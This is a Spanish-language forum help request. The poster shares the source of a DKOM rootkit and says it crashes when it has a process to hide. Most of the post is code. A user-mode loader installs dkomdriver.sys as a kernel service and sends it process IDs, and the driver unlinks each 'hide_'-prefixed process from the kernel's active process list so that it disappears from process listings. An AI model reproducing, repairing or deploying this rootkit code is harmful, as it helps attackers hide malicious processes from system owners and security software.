Si perdon, habia puesto el link de donde saque el codigo.
Repito que si no encuentra ningun proceso a ocultar no da error, pero cuando ha de ocultar uno casca.
Desde aqui llama al DKOM.
Esto es el codigo del DRIVER
Repito que si no encuentra ningun proceso a ocultar no da error, pero cuando ha de ocultar uno casca.
Desde aqui llama al DKOM.
Código [Seleccionar]
GetSystemDirectory(driverPath, MAX_PATH);
strcat(driverPath, "\\drivers\\dkomdriver.sys");
CopyFile("dkomdriver.sys", driverPath, FALSE);
removeDkomService(VERBOSE_OFF);
scManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(!scManager)
{
printf("[ERROR] No se ha contactado con Service Control Manager\n");
return FALSE;
}
printf("[OK] Abierta una conexion con Service Control Manager\n");
scService = CreateService(scManager,
"dkomdriver",
"dkomdriver",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if(!scService)
{
if(GetLastError() == ERROR_SERVICE_EXISTS)
{
//AQUI SE CUELGA SUPUESTAMENTE. AUNQUE NO HE PODIDO COMPROBARLO FIJO
scService = OpenService(scManager, "dkomdriver", SERVICE_ALL_ACCESS);
if(!scService)
{
printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
CloseServiceHandle(scManager);
return FALSE;
}
}
else
{
printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
CloseServiceHandle(scManager);
return FALSE;
}
}
printf("[OK] Se ha creado correctamente el servicio 'dkomdriver'\n");
if(!StartService(scService,0,NULL))
{
if(GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
{
printf("[ERROR] No se ha iniciado el servicio 'dkomdriver'\n");
CloseServiceHandle(scManager);
CloseServiceHandle(scService);
return FALSE;
}
}
printf("[OK] Se ha iniciado correctamente el servicio 'dkomdriver'\n");
// Provoca la llamada a la MajorFunction dkomCreate
hDevice = CreateFile("\\\\.\\dkomdriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("[ERROR] No ha podido obtenerse un manejador de control\n");
return FALSE;
}
printf("[OK] Se ha obtenido correctamente el manejador de control\n");
first = getProcessList("hide_");
current = first;
if(numProcess2Hide == 0)
printf("[OK] No existen procesos que ocultar (con el prefijo hide_)\n");
while(current != NULL)
{
p2h.iPid = current->iPid;
p2h.iFlinkOffset = flinkValue;
if(!DeviceIoControl(hDevice,
(DWORD) IOCTL_DRV_HIDE,
(VOID *) &p2h,
sizeof(proc2Hide),
NULL,
0,
&dwBytesRet,
NULL))
{
printf("[ERROR] No ha podido enviarse codigo de control al driver\n");
CloseHandle(hDevice);
return FALSE;
}
printf("[OK] Indicando a dkomdriver que oculte proceso con PID %d\n",p2h.iPid);
current = current->next;
//Eliminamos elemento de la lista
free(first);
first = current;
ZeroMemory(&p2h,sizeof(proc2Hide));
}
// Provoca la llamada a la MajorFunction dkomClose
CloseHandle(hDevice);
}
else if (strcmp((char *)argv[1], "off") == 0)
{
removeDkomService(VERBOSE_ON);
GetSystemDirectory(driverPath, MAX_PATH);
strcat(driverPath, "\\drivers\\dkomdriver.sys");
if(!DeleteFile(driverPath))
printf("[ERROR] No se ha podido eliminar el driver dkomdriver.sys\n");
else
printf("[OK] Se ha eliminado correctamente el driver dkomdriver.sys\n");
}
else
{
printUsage(argv[0]);
return FALSE;
}
return TRUE;
Esto es el codigo del DRIVER
Código [Seleccionar]
//#include <ntddk.h>
#include "ntifs.h"
#include "interface.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject,IN PUNICODE_STRING registryPath);
NTSTATUS dkomCreate(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomWrite(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomRead(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomClose(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomControl(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
UNICODE_STRING deviceNameUnicode, dosDeviceNameUnicode;
PDEVICE_OBJECT dkomDevice;
int i;
DbgPrint("Llamada a driverEntry\n");
RtlInitUnicodeString(&deviceNameUnicode,dkomDeviceName);
ntstatus = IoCreateDevice(driverObject,
0,
&deviceNameUnicode,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&dkomDevice);
if(!NT_SUCCESS(ntstatus)){
DbgPrint("Fallo al crear el dispositivo\n");
return ntstatus;
}
DbgPrint("Dispositivo creado correctamente\n");
RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
ntstatus = IoCreateSymbolicLink(&dosDeviceNameUnicode,
&deviceNameUnicode);
if(!NT_SUCCESS(ntstatus))
{
IoDeleteDevice(dkomDevice);
DbgPrint("Fallo al crear el enlace simbolico\n");
return ntstatus;
}
DbgPrint("Enlace simbolico creado correctamente\n");
driverObject->MajorFunction[IRP_MJ_CREATE] = dkomCreate;
driverObject->MajorFunction[IRP_MJ_CLOSE] = dkomClose;
driverObject->MajorFunction[IRP_MJ_READ] = dkomRead;
driverObject->MajorFunction[IRP_MJ_WRITE] = dkomWrite;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dkomControl;
driverObject->DriverUnload = dkomUnload;
return ntstatus;
}
NTSTATUS dkomCreate(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
DbgPrint("Llamada a dkomCreate\n");
return ntstatus;
}
NTSTATUS dkomWrite(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
DbgPrint("Llamada a dkomWrite\n");
return ntstatus;
}
NTSTATUS dkomRead(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
DbgPrint("Llamada a dkomRead\n");
return ntstatus;
}
NTSTATUS dkomClose(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
DbgPrint("Llamada a dkomClose\n");
return ntstatus;
}
NTSTATUS dkomControl(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
NTSTATUS ntstatus = STATUS_NOT_IMPLEMENTED;
PIO_STACK_LOCATION pStack;
PLIST_ENTRY pProcessList;
PEPROCESS pEProcess;
proc2Hide *p2h;
ULONG uEProcessAddr;
DbgPrint("Llamada a dkomControl\n");
pStack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
switch(pStack->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_DRV_HIDE:
DbgPrint("Recibido codigo de control IOCTL_DRV_HIDE\n");
p2h = (proc2Hide *) Irp->AssociatedIrp.SystemBuffer;
if(PsLookupProcessByProcessId((PVOID)p2h->iPid,&pEProcess) == STATUS_SUCCESS)
{
DbgPrint("Ocultando proceso con PID %d en la direccion %08lX\n",p2h->iPid,pEProcess);
uEProcessAddr = (ULONG) pEProcess;
pProcessList = (LIST_ENTRY *)(uEProcessAddr + p2h->iFlinkOffset);
*((ULONG *) pProcessList->Blink) = (ULONG) pProcessList->Flink;
*((ULONG *) pProcessList->Flink + 1) = (ULONG) pProcessList->Blink;
pProcessList->Flink = (LIST_ENTRY *) &(pProcessList->Flink);
pProcessList->Blink = (LIST_ENTRY *) &(pProcessList->Flink);
}
else
DbgPrint("No se ha obtenido la direccion del EPROCESS para el PID\n",p2h->iPid);
break;
default:
DbgPrint("Recibido codigo de control no definido\n");
break;
}
ntstatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return ntstatus;
}
NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject)
{
NTSTATUS ntstatus = STATUS_SUCCESS;
PDEVICE_OBJECT dkomDevice = driverObject->DeviceObject;
UNICODE_STRING dosDeviceNameUnicode;
DbgPrint("Llamada a dkomUnload\n");
RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
IoDeleteSymbolicLink(&dosDeviceNameUnicode);
DbgPrint("Se ha eliminado el enlace simbolico\n");
IoDeleteDevice(driverObject->DeviceObject);
DbgPrint("Se ha eliminado el device\n");
return ntstatus;
}